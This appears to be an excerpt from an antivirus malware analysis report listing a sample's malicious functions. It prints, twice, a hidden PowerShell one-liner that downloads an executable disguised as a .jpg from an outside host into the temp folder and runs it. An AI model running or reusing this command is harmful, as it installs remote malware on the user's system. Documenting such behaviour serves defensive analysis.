Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = $env:temp + '\oJtYAlWwu.exe';WGet 'https://u.coka.la/v63AEG.jpg' -outFiLe $a;start $a
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $a = $env:temp + '\oJtYAlWwu.exe';WGet 'https://u.coka.la/v63AEG.jpg' -outFiLe $a;start $a' (with hidden window)
